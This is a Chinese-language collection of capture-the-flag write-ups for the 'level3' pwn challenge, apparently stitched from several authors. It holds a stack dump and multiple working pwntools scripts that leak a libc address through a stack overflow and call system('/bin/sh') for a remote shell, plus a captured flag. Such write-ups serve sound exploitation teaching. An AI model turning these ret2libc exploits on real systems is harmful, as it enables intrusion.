-0000006B db ? ; undefined -0000006A db ? ; undefined -00000069 db ? ; undefined -00000068 db ? ; undefined -00000067 db ? ; undefined -00000066 db ? ; undefined -00000065 db ? ; undefined -00000064 db ? ; undefined -00000063 db ? ; undefined -00000062 db ? ; undefined -00000061 db ? ; undefined -00000060 db ? ; undefined -0000005F db ? ; undefined -0000005E db ? ; undefined -0000005D db ? ; undefined -0000005C db ? ; undefined -0000005B db ? ; undefined -0000005A db ? ; undefined -00000059 db ? ; undefined -00000058 db ? ; undefined -00000057 db ? ; undefined -00000056 db ? ; undefined -00000055 db ? ; undefined -00000054 db ? ; undefined -00000053 db ? ; undefined -00000052 db ? ; undefined -00000051 db ? ; undefined -00000050 db ? ; undefined -0000004F db ? ; undefined -0000004E db ? ; undefined -0000004D db ? ; undefined -0000004C db ? ; undefined -0000004B db ? ; undefined -0000004A db ? ; undefined -00000049 db ? ; undefined -00000048 db ? ; undefined -00000047 db ? ; undefined -00000046 db ? ; undefined -00000045 db ? ; undefined -00000044 db ? ; undefined -00000043 db ? ; undefined -00000042 db ? ; undefined -00000041 db ? ; undefined -00000040 db ? ; undefined -0000003F db ? ; undefined -0000003E db ? ; undefined -0000003D db ? ; undefined -0000003C db ? ; undefined -0000003B db ? ; undefined -0000003A db ? ; undefined -00000039 db ? ; undefined -00000038 db ? ; undefined -00000037 db ? ; undefined -00000036 db ? ; undefined -00000035 db ? ; undefined -00000034 db ? ; undefined -00000033 db ? ; undefined -00000032 db ? ; undefined -00000031 db ? ; undefined -00000030 db ? ; undefined -0000002F db ? ; undefined -0000002E db ? ; undefined -0000002D db ? ; undefined -0000002C db ? ; undefined -0000002B db ? ; undefined -0000002A db ? ; undefined -00000029 db ? ; undefined -00000028 db ? ; undefined -00000027 db ? ; undefined -00000026 db ? ; undefined -00000025 db ? ; undefined -00000024 db ? ; undefined -00000023 db ? ; undefined -00000022 db ? ; undefined -00000021 db ? ; undefined -00000020 db ? ; undefined -0000001F db ? ; undefined -0000001E db ? ; undefined -0000001D db ? ; undefined -0000001C db ? ; undefined -0000001B db ? ; undefined -0000001A db ? ; undefined -00000019 db ? ; undefined -00000018 db ? ; undefined -00000017 db ? ; undefined -00000016 db ? ; undefined -00000015 db ? ; undefined -00000014 db ? ; undefined -00000013 db ? ; undefined -00000012 db ? ; undefined -00000011 db ? ; undefined -00000010 db ? ; undefined -0000000F db ? ; undefined -0000000E db ? ; undefined -0000000D db ? ; undefined -0000000C db ? ; undefined -0000000B db ? ; undefined -0000000A db ? ; undefined -00000009 db ? ; undefined -00000008 db ? ; undefined -00000007 db ? ; undefined -00000006 db ? ; undefined -00000005 db ? ; undefined -00000004 db ? ; undefined -00000003 db ? ; undefined -00000002 db ? ; undefined -00000001 db ? ; undefined +00000000 s db 4 dup(?) +00000004 r db 4 dup(?) # 覆蓋這個地址就可以修改函數調用了
-
將各部分結合起來,腳本攻擊。解說見后面一份程序:
from pwn import * p = remote('220.249.52.133', 54407) elf = ELF('./level3') lib = ELF('./libc_32.so.6') payload = (0x88+4)*'a'+p32(elf.plt['write'])+p32(elf.symbols['main'])+p32(1)+p32(elf.got['read'])+p32(8) p.recvuntil('Input:\n') p.sendline(payload) read_addr = u32(p.recv()[:4]) bin_cha = int(0x0015902b-lib.symbols['read']) bin_addr = read_addr + bin_cha sys_cha = int(lib.symbols['system']-lib.symbols['read']) sys_addr = read_addr + sys_cha p.recvuntil('Input:\n') payload1 = (0x88+4)*'a'+p32(sys_addr)+p32(1)+p32(bin_addr) #system函數地址,返回地址1,/bin/sh地址作為system參數傳入 p.sendline(payload1) p.interactive()
-
其他做法:把libc_32.so.6拖進ida,可以找到write函數和system函數的偏移:


尋找"/bin/sh"(用winhex也可以找到)

write.plt和main.pltt可以在ida中找到

除了這些以外,我還從別人的wp中學到了方法,如下
from pwn import * from LibcSeacher import * p=remote('111.198.29.45',47340) elf=ELF('./level3') libc=ELF('./libc_32.so.6') #write_plt=0x08048340 write_plt=elf.plt['write'] write_got=elf.got['write'] #main_addr=0x08048484 main_addr=elf.symbols['main'] #填充字符+write函數地址+main函數地址+write函數的三個參數,效果:也就是運行write讓其輸出write的got地址后,又回到main函數 payload1='a' * 0x8c + p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4) p.sendlineafter("Input:\n",payload1) #接收write函數在got表中的地址 write_real=u32(p.recv()[:4]) #system_off=0x3a940 system_off=libc.symbols['system'] #bin_off=0x15902b bin_off=libc.search('/bin/sh').next() #write_off=0xd43c0 write_off=libc.symbols['write'] #計算基地址 lib_addr=write_real-write_off #計算system地址 system_addr=lib_addr+system_off #計算'/bin/sh'地址 bin_addr=lib_addr+bin_off #填充字符+system地址+這里不用考慮,隨意填充4個字節+'/bin/sh'地址 payload2='a'*0x8c+p32(system_addr)+'aaaa'+p32(bin_addr) p.sendline(payload2) p.interactive()
flag:cyberpeace{e808c04302e73cdc5159eef2dcd92f48}
#-*-coding:utf-8-*- from pwn import * p = process("./level3") #p = remote("111.198.29.45","36722") elf = ELF("./level3") libc = ELF("/lib32/libc.so.6") #libc = ELF("./libc_32.so.6") write_plt = elf.plt["write"] print("write_plt: " + hex(write_plt)) write_got = elf.got["__libc_start_main"] print("write_got: " + hex(write_got)) libc_main = libc.symbols["__libc_start_main"] print("write_libc: " + hex(libc_main)) system_libc = libc.symbols["system"] print("system_libc: " + hex(system_libc)) vulnfun = 0x804844B p.recv() payload = 140*b"a" + p32(write_plt) + p32(vulnfun) payload += p32(1) + p32(write_got) + p32(4) #write(1,write_got,4) p.sendline(payload) write_addr = u32(p.recv(4)) print("write_addr: " + hex(write_addr)) pause() offset = write_addr - libc_main system_addr = offset + system_libc binsh = next(libc.search(b"/bin/sh")) binsh_addr = offset + binsh print("binsh_addr: " + hex(binsh_addr)) payload = 140*b"a" + p32(system_addr) + p32(vulnfun) + p32(binsh_addr) p.sendline(payload) p.interactive()
(3) 題目小結
這個題目可以說是基礎ROP的入門,通過控制返回地址進行多重跳,很有進階的意義。
(4) 參考文章
Writeup of level3(Pwn) in JarvisOJ
聊聊Linux動態鏈接中的PLT和GOT(1)——何謂PLT與GOT
0x3 總結
這次這幾個題目做了2.3天,感覺收獲還是挺大的,其中很感謝一些師傅回答我比較傻的問題,一語驚醒夢中人,期間我也看了網上很多wp,基本都是雷同或者草草了事的,很少有那種新手摸索的過程,因為本人是個菜雞,難免會有疏漏,希望各位師傅多多包容,然后指出,讓我更加深pwn的理解,謝謝。
0x4參考鏈接
補:
WriteUp-adworld(攻防世界)-pwn新手區-level3
0xFF 解開壓縮包……
3個嵌套壓縮包解開后出來兩個文件:
level3
libc_32.so.6
0x00 查詢文件基本信息
checksec 發現 : 這是個三無軟件……
好…… 我們丟下DIE:
32位程序……
沒有殼……可以上IDA。
0x01 靜態分析
看到main:
跟進vulnerable_function
程序邏輯簡單明了……
0x02 攻擊思路
看到read可以進行棧溢出攻擊……
考慮劫持eip執行system("/bin/sh")……
等等,這個程序里既沒有調用system又沒有"/bin/sh"字符串。
但是這個程序加載了一個共享庫: libc_32.so.6
0x03 分析共享庫 : libc_32.so.6
找到system() !
找到"/bin/sh" !
使用010Editor搜索
("/bin/sh"后面剛好有個0x00)
"/bin/sh" 相對libc_32.so.6
文件頭的偏移為 0x15902B (IDA相應地方是代碼qwq……)
system 相對libc_32.so.6
文件頭的偏移為 0x3A940
所以我們只要想辦法知道 libc_32.so.6 的地址
我們就可以成功獲取shell……
0x04 泄露 libc_32.so.6 的地址
write 是 level3
調用的外部(共享庫中的)函數。
我們可以嘗試泄露 level3 GOT 表中的內容來
獲取 write 在共享庫中的地址。
GOT中 write 對應的條目 在第一次調用 write 函數時會被動態鏈接器改為
write 的絕對地址
/*操作系統-Linux-淺析GOT與PLT */
可以嘗試利用棧溢出來調用write(劫持eip到write)
/需要的eip位置/
我們write泄露出地址之后還不夠,還要通過這個地址調用 system()
才行。
所以我們可以把返回的地址(call的時候eip入棧)
回到vulnerable_function的開頭,這樣我們就可以在泄露write之后
調用system()
所以我們可以這樣
根據vulnerable_function的棧
這樣構造payload來泄露write:
from pwn import *
write_addr_in_level3 = p32(0x08048340)
vulnerable_function_addr = p32(0x0804844B)
leak_write_payload1 = "w"*0x88 + p32(0xa5c0ffee) + write_addr_in_level3 + vulnerable_function_addr # padding ebp 劫持eip要到的位置 調用write后返回的地址 write_got_addr = p32(0x0804A018) leak_write_payload2 = p32(1) + write_got_addr + p32(0xa5c0ffee) # write 的參數傳遞 1:stdout 指針指向write的got條目 輸出的長度
得到write的地址后就可以根據write在libc_32.so.6中的地址計算出
libc_32.so.6的基址,接着就可以計算出system()與"/bin/sh"的絕對地址了。
接着我們就可以生成第二次攻擊的payload:
write_addr_in_lib = get_write_addr() write_offset_in_lib = 0x000D43C0 lib_addr = write_addr_in_lib - write_offset_in_lib binsh_offset_in_lib = 0x15902B binsh_addr_in_lib = lib_addr + binsh_offset_in_lib system_offset_in_lib = 0x3A940 system_addr_in_lib = lib_addr + system_offset_in_lib pwn_payload = "w"*0x88 + p32(0xACC0FFEE) + p32(system_addr_in_lib) + p32(0xACC0FFEE) + p32(binsh_addr_in_lib) # padding ebp 劫持eip要到的位置 (system) 返回的地址(隨便填qwq) 傳入"/bin/sh" 當作參數
現在就可以寫出完整的exp了:
#coding=utf-8 #文件里有中文注釋,要指定編碼 from pwn import * qwq = remote("111.198.29.45", 7777) # ip port write_got_addr = p32(0x0804A018) write_addr_in_level3 = p32(0x08048340) vulnerable_function_addr = p32(0x0804844B) leak_write_payload1 = "w"*0x88 + p32(0xACC0FFEE) + write_addr_in_level3 + vulnerable_function_addr # padding ebp 劫持eip要到的位置 調用write后返回的地址 leak_write_payload2 = p32(1) + write_got_addr + p32(0xACC0FFEE) # write 的參數傳遞 1:stdout 指針指向write的got條目 輸出的長度 leak_write_payload = leak_write_payload1 + leak_write_payload2 def get_write_addr(): qwq.recvline() qwq.sendline(leak_write_payload) addr = qwq.recv()[0:4] return u32(addr) write_addr_in_lib = get_write_addr() write_offset_in_lib = 0x000D43C0 lib_addr = write_addr_in_lib - write_offset_in_lib binsh_offset_in_lib = 0x15902B binsh_addr_in_lib = lib_addr + binsh_offset_in_lib system_offset_in_lib = 0x3A940 system_addr_in_lib = lib_addr + system_offset_in_lib pwn_payload = "w"*0x88 + p32(0xACC0FFEE) + p32(system_addr_in_lib) + p32(0xACC0FFEE) + p32(binsh_addr_in_lib) # padding ebp 劫持eip要到的位置 (system) 返回的地址(隨便填qwq) 傳入"/bin/sh" 當作參數 qwq.recvline() qwq.sendline(pwn_payload) qwq.interactive()
看看效果: